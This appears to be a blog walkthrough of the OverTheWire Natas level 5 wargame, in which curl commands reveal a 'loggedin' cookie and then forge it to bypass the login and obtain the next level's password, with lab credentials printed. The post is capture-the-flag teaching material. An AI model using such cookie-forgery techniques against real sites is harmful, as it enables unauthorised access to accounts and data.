Saturday 27 September 2014

Wargames - Natas 05

<< Previous challenge

Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas5.natas.labs.overthewire.org and take a look at its content. You can also look at the source code, but it won't help much:
Access disallowed. You are not logged in
This challenge is about cookies. Cookies take a good part in exploitation and you should always, at some point, look at the cookies being set by the server, as they can help you a lot.
This time we're going to use curl with grep to see what cookies are being set (you can also just use your browser developer mode):
curl -I http://natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq@natas5.natas.labs.overthewire.org/ | grep "Set-Cookie:"
the -I flag tells curl to make a HEAD request, which only returns the headers. We then pipe it to grep and search for "Set-Cookie:", the header that sets cookies, and this is what we get:
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
Set-Cookie: loggedin=0
So apparently the server sets a cookie named loggedin=0. I guess it's not hard to guess what we want to do next, which is to set that cookie to 1. In order to do this, we just run this command:
curl --cookie loggedin=1 http://natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq@natas5.natas.labs.overthewire.org/
And this is what we get:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas5", "pass": "iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq" };</script></head>
<body>
<h1>natas5</h1>
<div id="content">
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1</div>
</body>
</html>
We're greeted with the password for natas6 in line 14.

User natas6
Password aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

Pretty simple challenge, just so people get familiar with cookies and their usage.

Never Settle,

<< Previous challenge

No comments:

Post a Comment